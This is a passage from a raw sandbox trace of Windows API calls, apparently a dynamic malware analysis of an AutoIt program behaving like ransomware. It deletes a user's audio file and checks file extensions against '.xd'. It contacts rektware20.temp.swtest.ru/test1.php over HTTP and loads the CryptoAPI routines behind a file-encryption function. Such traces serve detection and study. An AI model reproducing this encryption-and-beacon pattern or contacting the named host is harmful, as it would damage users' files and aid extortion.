wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.869] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.869] CloseHandle (hObject=0x2ac) returned 1 [0064.871] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.871] CloseHandle (hObject=0x3bc) returned 1 [0064.873] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.874] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.874] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", lpFilePart=0x0) returned 0x46 [0064.874] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\kxc_rnar6.m4a")) returned 0x20 [0064.875] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0064.875] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\kxC_rNAr6.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zoihn\\kxc_rnar6.m4a")) returned 1 [0064.880] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.881] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0064.881] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.881] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.881] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.882] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.882] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.882] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.882] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.882] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.882] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.882] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ef8c) returned 1 [0064.882] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.882] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.883] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.883] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.883] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.883] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.883] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.883] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.884] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.884] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.884] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.884] CloseHandle (hObject=0x0) returned 0 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.884] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.885] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.886] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zOIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OIHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IHN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="whIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hIdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IdUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dUKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UKJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KJwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JwK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wK.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.887] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.888] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.888] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.888] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.888] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.888] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.888] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.888] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.888] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.888] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.888] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0064.888] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.888] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.888] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.889] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.889] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.889] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.889] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.889] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.890] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.890] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.890] CloseHandle (hObject=0x0) returned 0 [0064.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.890] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zOIHN\\whIdUKJwK.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0064.890] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0064.890] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.890] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.890] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.891] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.891] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.891] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.891] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.891] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.891] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.891] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.892] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.892] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.892] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.892] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, 